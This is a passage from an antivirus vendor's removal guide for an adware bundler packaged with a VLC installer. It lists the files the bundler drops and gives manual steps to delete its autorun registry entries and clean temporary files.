%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\vlm (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\simplexml.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFED9.tmp\InstallOptions.dll (30 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_configuration.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_dialog.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sout.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-1.5.1.min.js (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFED9.tmp\modern-wizard.bmp (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\reader\filename.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-ui-1.8.13.custom.min.js (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\extreme.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_up.png (112 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm.xml (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_modules.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_httpd.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll (16424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pinkbike.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png (201 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\wa\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlccore.dll (68506 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_view.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll (35001 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fourcc.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sout.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\repeat.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sort.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\canalplus.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block_helper.h (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlc.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\.hosts (122 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png (103 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\info.png (142 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default.cfg (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo (21216 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_codec.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo (23296 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_image.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\he\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_http.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\default.vlt (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\koreus.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ne\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.lib (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_stream.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_art_finder.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_network.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mtime.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white_cross_small.png (96 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\equalizer_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll (34773 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete_small.png (94 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_cpu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\sandbox.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\playlist (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo (444 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ru\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hr\LC_MESSAGES\vlc.mo (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\lelombrik.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\Documentation.url (55 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll (34773 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo (6584 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Release Notes.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSans.ttf (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\next.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_09.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc.h (15 bytes)
C:\Users\Public\Desktop\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\http.luac (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_epg.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\fullscreen.png (121 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png (95 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kmr\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\snapshot.png (206 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_acl.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\id\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_access.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\COPYING.txt (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sd.png (116 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_point.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\New_Skins.url (64 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\pause.png (82 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\vimeo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_player.h (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\.hosts (289 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo (25824 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_filter.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\shuffle.png (110 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\metachannels.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Audio-48.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_bar.png (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube_homepage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf18DE.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.2880 (135036 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlc-qt-interface.ini (25 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.1032 (45012 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlcrc.1032 (11109 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\64x64[1].ico (5643 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\16x16[1].ico (1150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_marimedia_1" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Application.Bundler.Somoto.I_f730160cf5

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Application.Bundler.Somoto.I_f730160cf5

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet